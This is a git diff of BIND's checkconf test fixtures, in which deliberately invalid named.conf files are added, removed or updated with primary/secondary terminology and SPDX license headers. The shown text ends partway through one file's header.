--- a/bin/tests/system/checkconf/bad-many.conf
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	avoid-v4-udp-ports { 100; }
-	avoid-v6-udp-ports { 100; };
-	blackhole { 10.0.0.0/8; };
-	coresize 1G;
-	datasize 100M;
-	deallocate-on-exit yes;
-	directory ".";
-	dump-file "named_dumpdb";
-	fake-iquery yes;
-	files 1000;
-	has-old-clients no;
-	heartbeat-interval 30;
-	host-statistics yes;
-	host-statistics-max 100;
-	hostname none;
-	interface-interval 30;
-	keep-response-order { 10.0.0.10/24; };
-	listen-on port 90 { any; };
-	listen-on port 100 { 127.0.0.1; };
-	listen-on-v6 port 53 { none; };
-	match-mapped-addresses yes;
-	memstatistics-file "named.memstats";
-	multiple-cnames no;
-	named-xfer "this is no longer needed";
-	pid-file none;
-	port 5300;
-	querylog yes;
-	recursing-file "named.recursing";
-	recursive-clients 3000;
-	serial-queries 10;
-	serial-query-rate 100;
-	server-id none;
-};
diff --git a/bin/tests/system/checkconf/bad-master-request-ixfr.conf b/bin/tests/system/checkconf/bad-master-request-ixfr.conf
index 2d3913f71c..770afb38a7 100644
--- a/bin/tests/system/checkconf/bad-master-request-ixfr.conf
+++ b/bin/tests/system/checkconf/bad-master-request-ixfr.conf
@@ -1,20 +1,22 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 /*
- * request-ixfr clause is not allowed in zone of type master.
+ * request-ixfr clause is not allowed in zone of type primary.
  */
 
 zone dummy {
-	type master;
+	type primary;
 	request-ixfr no;
 	file "xxxx";
 };
diff --git a/bin/tests/system/checkconf/bad-masterfile-format-map.conf b/bin/tests/system/checkconf/bad-masterfile-format-map.conf
new file mode 100644
index 0000000000..634ca14307
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-masterfile-format-map.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	port 5300;
+};
+
+zone example {
+	type secondary;
+	primaries { ::1; };
+	masterfile-format map;
+};
diff --git a/bin/tests/system/checkconf/bad-masters-dup.conf b/bin/tests/system/checkconf/bad-masters-dup.conf
deleted file mode 100644
index 18dc4590da..0000000000
--- a/bin/tests/system/checkconf/bad-masters-dup.conf
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-zone "example.net" {
-	type secondary;
-	primaries { 192.168.1.1; };
-	masters { 192.168.1.2; };
-};
diff --git a/bin/tests/system/checkconf/bad-maxcachettl.conf b/bin/tests/system/checkconf/bad-maxcachettl.conf
index ab5c2c2c25..47f06431de 100644
--- a/bin/tests/system/checkconf/bad-maxcachettl.conf
+++ b/bin/tests/system/checkconf/bad-maxcachettl.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-maxncachettl-1.conf b/bin/tests/system/checkconf/bad-maxncachettl-1.conf
index 7e92adf7ea..ad852c3d0d 100644
--- a/bin/tests/system/checkconf/bad-maxncachettl-1.conf
+++ b/bin/tests/system/checkconf/bad-maxncachettl-1.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-maxncachettl-2.conf b/bin/tests/system/checkconf/bad-maxncachettl-2.conf
index e8eae8f186..ada5c831d3 100644
--- a/bin/tests/system/checkconf/bad-maxncachettl-2.conf
+++ b/bin/tests/system/checkconf/bad-maxncachettl-2.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-maxncachettl-3.conf b/bin/tests/system/checkconf/bad-maxncachettl-3.conf
index f31c133e26..771a0f3e29 100644
--- a/bin/tests/system/checkconf/bad-maxncachettl-3.conf
+++ b/bin/tests/system/checkconf/bad-maxncachettl-3.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-maxncachettl-4.conf b/bin/tests/system/checkconf/bad-maxncachettl-4.conf
index c220ecd7b3..d9cd9394f2 100644
--- a/bin/tests/system/checkconf/bad-maxncachettl-4.conf
+++ b/bin/tests/system/checkconf/bad-maxncachettl-4.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-maxratio1.conf b/bin/tests/system/checkconf/bad-maxratio1.conf
index f0d06be669..ade4de16e0 100644
--- a/bin/tests/system/checkconf/bad-maxratio1.conf
+++ b/bin/tests/system/checkconf/bad-maxratio1.conf
@@ -1,17 +1,19 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone example {
-	type master;
-	masterfile-format map;
+	type primary;
+	masterfile-format raw;
 	file "example.db";
 	max-ixfr-ratio 0.9;
 };
diff --git a/bin/tests/system/checkconf/bad-maxratio2.conf b/bin/tests/system/checkconf/bad-maxratio2.conf
index 902c334423..adb63f3950 100644
--- a/bin/tests/system/checkconf/bad-maxratio2.conf
+++ b/bin/tests/system/checkconf/bad-maxratio2.conf
@@ -1,17 +1,19 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone example {
-	type master;
-	masterfile-format map;
+	type primary;
+	masterfile-format raw;
 	file "example.db";
 	max-ixfr-ratio 0%;
 };
diff --git a/bin/tests/system/checkconf/bad-maxttlmap.conf b/bin/tests/system/checkconf/bad-maxttlmap.conf
deleted file mode 100644
index f404b3e86b..0000000000
--- a/bin/tests/system/checkconf/bad-maxttlmap.conf
+++ /dev/null
@@ -1,17 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-zone example {
-	type master;
-	masterfile-format map;
-	file "example.db";
-	max-zone-ttl 3600;
-};
diff --git a/bin/tests/system/checkconf/bad-mincachettl.conf b/bin/tests/system/checkconf/bad-mincachettl.conf
index 0a1c188461..cd02c66e7a 100644
--- a/bin/tests/system/checkconf/bad-mincachettl.conf
+++ b/bin/tests/system/checkconf/bad-mincachettl.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-minncachettl.conf b/bin/tests/system/checkconf/bad-minncachettl.conf
index ac2e29b59c..1148bcc9f5 100644
--- a/bin/tests/system/checkconf/bad-minncachettl.conf
+++ b/bin/tests/system/checkconf/bad-minncachettl.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-mirror-allow-recursion-none.conf b/bin/tests/system/checkconf/bad-mirror-allow-recursion-none.conf
index 9dabf8897e..1f4c8fe9ba 100644
--- a/bin/tests/system/checkconf/bad-mirror-allow-recursion-none.conf
+++ b/bin/tests/system/checkconf/bad-mirror-allow-recursion-none.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,5 +18,5 @@ options {
 
 zone "." {
 	type mirror;
-	masters { 127.0.0.1; };
+	primaries { 127.0.0.1; };
 };
diff --git a/bin/tests/system/checkconf/bad-mirror-explicit-notify-yes.conf b/bin/tests/system/checkconf/bad-mirror-explicit-notify-yes.conf
index 8d5b28a792..27ad850e04 100644
--- a/bin/tests/system/checkconf/bad-mirror-explicit-notify-yes.conf
+++ b/bin/tests/system/checkconf/bad-mirror-explicit-notify-yes.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-mirror-non-root-zone-without-masters.conf b/bin/tests/system/checkconf/bad-mirror-non-root-zone-without-masters.conf
index e212bed6ac..c9c8b03443 100644
--- a/bin/tests/system/checkconf/bad-mirror-non-root-zone-without-masters.conf
+++ b/bin/tests/system/checkconf/bad-mirror-non-root-zone-without-masters.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-mirror-recursion-no.conf b/bin/tests/system/checkconf/bad-mirror-recursion-no.conf
index 9b02f0dcb7..f5536ac564 100644
--- a/bin/tests/system/checkconf/bad-mirror-recursion-no.conf
+++ b/bin/tests/system/checkconf/bad-mirror-recursion-no.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-mirror-zonename.conf b/bin/tests/system/checkconf/bad-mirror-zonename.conf
index 3c4663ec69..6fc11c1902 100644
--- a/bin/tests/system/checkconf/bad-mirror-zonename.conf
+++ b/bin/tests/system/checkconf/bad-mirror-zonename.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 zone "\0example" {
         type mirror;
         file "example.db";
diff --git a/bin/tests/system/checkconf/bad-noddns.conf b/bin/tests/system/checkconf/bad-noddns.conf
index d4e93dcbf6..203bf4dda5 100644
--- a/bin/tests/system/checkconf/bad-noddns.conf
+++ b/bin/tests/system/checkconf/bad-noddns.conf
@@ -1,17 +1,23 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
+dnssec-policy "test" {
+	inline-signing no;
+};
+
 zone example {
-	type master;
+	type primary;
 	file "example.db";
-	auto-dnssec maintain;
+	dnssec-policy test;
 	allow-update { none; };
 };
diff --git a/bin/tests/system/checkconf/bad-notify-source-v6.conf b/bin/tests/system/checkconf/bad-notify-source-v6.conf
new file mode 100644
index 0000000000..ef53c96e19
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-notify-source-v6.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	port 5300;
+};
+
+zone example {
+	type secondary;
+	primaries { 1.2.3.4; };
+	notify-source-v6 fd92:7065:b8e:ffff::1 port 5300;
+};
diff --git a/bin/tests/system/checkconf/bad-notify-source.conf b/bin/tests/system/checkconf/bad-notify-source.conf
new file mode 100644
index 0000000000..b950784a98
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-notify-source.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	port 5300;
+};
+
+zone example {
+	type secondary;
+	primaries { 1.2.3.4; };
+	notify-source 10.53.0.1 port 5300;
+};
diff --git a/bin/tests/system/checkconf/bad-options-also-notify.conf b/bin/tests/system/checkconf/bad-options-also-notify.conf
index d5a28c0e3a..889a88fa3a 100644
--- a/bin/tests/system/checkconf/bad-options-also-notify.conf
+++ b/bin/tests/system/checkconf/bad-options-also-notify.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -14,6 +16,6 @@ options {
 };
 
 zone "example.net" {
-	type slave;
-	masters { 192.168.1.1; };
+	type secondary;
+	primaries { 192.168.1.1; };
 };
diff --git a/bin/tests/system/checkconf/bad-parental-agents-def-options.conf b/bin/tests/system/checkconf/bad-parental-agents-def-options.conf
new file mode 100644
index 0000000000..20911552c7
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-parental-agents-def-options.conf
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	parental-agents { 192.168.1.2; };
+};
+
+zone "example.net" {
+	type primary;
+	file "example.net.db";
+};
diff --git a/bin/tests/system/checkconf/bad-parental-agents-def-view.conf b/bin/tests/system/checkconf/bad-parental-agents-def-view.conf
new file mode 100644
index 0000000000..47c062a2a7
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-parental-agents-def-view.conf
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+view "test" {
+	parental-agents { 192.168.1.2; };
+	zone "example.net" {
+		type primary;
+		file "example.net.db";
+	};
+};
diff --git a/bin/tests/system/checkconf/bad-parental-agents-def-view2.conf b/bin/tests/system/checkconf/bad-parental-agents-def-view2.conf
new file mode 100644
index 0000000000..aa65a4d2aa
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-parental-agents-def-view2.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+view "test" {
+	parental-agents "net" {
+		192.168.1.2;
+	 };
+	zone "example.net" {
+		type primary;
+		file "example.net.db";
+	};
+};
diff --git a/bin/tests/system/checkconf/bad-parental-agents-def-zone.conf b/bin/tests/system/checkconf/bad-parental-agents-def-zone.conf
new file mode 100644
index 0000000000..e2a8389b48
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-parental-agents-def-zone.conf
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "example.net" {
+	type primary;
+	file "example.net.db";
+	parental-agents "net" { 192.168.1.1; };
+};
diff --git a/bin/tests/system/checkconf/bad-parental-agents-dup.conf b/bin/tests/system/checkconf/bad-parental-agents-dup.conf
new file mode 100644
index 0000000000..cb5ac4412a
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-parental-agents-dup.conf
@@ -0,0 +1,19 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "example.net" {
+	type primary;
+	file "example.net.db";
+	parental-agents { 192.168.1.1; };
+	parental-agents { 192.168.1.1; };
+};
diff --git a/bin/tests/system/checkconf/bad-parental-agents-dupdef.conf b/bin/tests/system/checkconf/bad-parental-agents-dupdef.conf
new file mode 100644
index 0000000000..7ca88f73e2
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-parental-agents-dupdef.conf
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+parental-agents "net" {
+	192.168.1.1;
+};
+
+parental-agents "net" {
+	192.168.1.2;
+};
+
+zone "example.net" {
+	type primary;
+	file "example.net.db";
+	parental-agents { "net"; };
+};
diff --git a/bin/tests/system/checkconf/bad-parental-agents-empty.conf b/bin/tests/system/checkconf/bad-parental-agents-empty.conf
new file mode 100644
index 0000000000..f61de06a62
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-parental-agents-empty.conf
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+parental-agents "net" { };
+
+zone "example.net" {
+	type primary;
+	file "example.net.db";
+	parental-agents { "net"; };
+};
diff --git a/bin/tests/system/checkconf/bad-parental-agents-empty2.conf b/bin/tests/system/checkconf/bad-parental-agents-empty2.conf
new file mode 100644
index 0000000000..93b8f7b751
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-parental-agents-empty2.conf
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "example.net" {
+	type primary;
+	file "example.net.db";
+	parental-agents { };
+};
diff --git a/bin/tests/system/checkconf/bad-parental-agents-mirror.conf b/bin/tests/system/checkconf/bad-parental-agents-mirror.conf
new file mode 100644
index 0000000000..62926e21c5
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-parental-agents-mirror.conf
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "." {
+	type mirror;
+	file "root.mirror";
+	parental-agents { 192.168.1.1; };
+};
diff --git a/bin/tests/system/checkconf/bad-parental-agents-notfound.conf b/bin/tests/system/checkconf/bad-parental-agents-notfound.conf
new file mode 100644
index 0000000000..98075c437b
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-parental-agents-notfound.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+parental-agents "com" {
+	192.168.1.2;
+};
+
+zone "example.net" {
+	type primary;
+	file "example.net.db";
+	parental-agents { "net"; };
+};
diff --git a/bin/tests/system/checkconf/bad-parental-source-v6.conf b/bin/tests/system/checkconf/bad-parental-source-v6.conf
new file mode 100644
index 0000000000..1b053d0186
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-parental-source-v6.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	port 5300;
+};
+
+zone example {
+	type secondary;
+	primaries { 1.2.3.4; };
+	parental-source-v6 fd92:7065:b8e:ffff::1 port 5300;
+};
diff --git a/bin/tests/system/checkconf/bad-parental-source.conf b/bin/tests/system/checkconf/bad-parental-source.conf
new file mode 100644
index 0000000000..9587b3e129
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-parental-source.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
